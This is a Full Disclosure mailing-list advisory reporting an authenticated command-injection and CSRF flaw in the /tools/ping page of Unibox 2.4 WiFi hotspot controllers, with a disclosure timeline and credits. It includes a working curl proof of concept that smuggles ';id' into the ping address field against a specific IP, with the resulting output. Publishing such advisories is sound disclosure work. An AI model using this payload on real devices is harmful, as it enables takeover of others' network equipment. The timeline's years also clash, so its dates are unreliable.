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Date: Sat, 6 Feb 2021 19:51:07 +0000
From: Kaustubh via Fulldisclosure <fulldisclosure@...lists.org>
To: fulldisclosure@...lists.org
Subject: [FD] KSA_DEV-009 :- Authenticated Code Execution In Unibox 2.4

=====================================================
Authenticated Remote Code Execution In Unibox 2.4
=====================================================

. contents:: Table Of Content

Overview
========

Title:- Authenticated command execution in all UNIBOX WiFi Hotspot
Controller.
CVE ID:- Not Yet Assign
Author: Kaustubh G. Padwad
Vendor: Wifi-soft (https://www.wifi-soft.com/)
Products:
     1.Unibox SMB
     2.UniBox - Enterprise Series
     3.UniBox - Campus Series

Tested Version: Unibox U-50 | UniBox 2.4  (Respetive for others)
Severity: Critical

Advisory ID
============
KSA-Dev-009


About the Product:
==================
UniBox is one of the most innovative and reliable Hotspot Controllers in
the market today. You can install UniBox to manage any sized WiFi
network without having to replace any existing infrastructure. With
UniBox, you don't need any other solution for managing WiFi access. It
comes packed with features so just one box is enough to handle all the
functions of WiFi hotspots.

Description:
============
An issue was discovered on Unibox SMB with Unibox 2.4 and poterntially
respected all other  devices. There is Code Execution vulnerability via
/tools/ping Function in device which leads to complete device takeover.

Additional Information
======================
The page /tools/ping can be tricked via specially crafted request which
will leads to the code execution on device also device  does not
validate the csrftoken,hence By combining this two attack we can form
the Authencated remote code execution on device leads to complete device
takeover.

[Vulnerability Type]
====================
Remote Code Execution (RCE)
Cross Site Request Forgery (CSRF)

How to Reproduce: (POC):
========================
curl -i -s -k  -X $'POST' \
    -H $'Host: 136.232.224.22' -H $'User-Agent: Mozilla/5.0 (X11; Linux
x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H
$'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate'
-H $'Referer: http://136.232.224.22/tools/ping' -H $'Content-Type:
application/x-www-form-urlencoded' -H $'Content-Length: 25' -H
$'Connection: close' -H $'Cookie: PHPSESSID=k4l9or0l5xxxxxxxxxxx' -H
$'Upgrade-Insecure-Requests: 1' \
    -b $'PHPSESSID=k4l9oxxxxxxxxxx' \
    --data-binary $'pingaction=1&address=1;id' \
    $'http://136.232.224.22/tools/ping'

Sample OutPut
-------------
<table width=100%>
        <tr>
          <td>
        <br>
          </td>
        </tr>
        <tr>
          <td id='pingResponseTable'>
        <table border="1"  bordercolordark='#E0E0E0'
bordercolorlight='#000000' class="search" cellpadding="0" cellspacing="0">
          <tr style='background-color:#3F6C96'>
            <td>
              <font color="white">
            <b>&nbsp;Ping Status</b>
              </font>
            </td>
            <br>
          </tr>
          <tr style='background-color:#D8E4F8'>
            <td>uid=33(www-data) gid=33(www-data) groups=33(www-data)
              <br>
            </td>
          </tr>
        </table>


[Affected Component]
/tools/ping

------------------------------------------

[Attack Type]
Remote

------------------------------------------

[Impact Code execution]
true

------------------------------------------

[Attack Vectors]
once victim open the crafted url the device will get compromise

Mitigation
==========

Reported to vendor yet no reponse recived

Disclosure:
===========
08-JAN-2020 Discoverd the Vulnerability, and Reported via contact form
20-JAN-2020 Vendor responded via call
23-JAN-2021 Requested Vendor for update
xxxxxxxxxxx No communication recived furter
Hence disclosing under responsible discloser

[Vendor of Product]
WiF-Soft  (http://https://www.wifi-soft.com/company/about.php)

credits:
========
* Kaustubh Padwad
* Information Security Researcher
* kingkaustubh@...com
* https://s3curityb3ast.github.io/
* https://twitter.com/s3curityb3ast
* http://breakthesec.com
* https://www.linkedin.com/in/kaustubhpadwad


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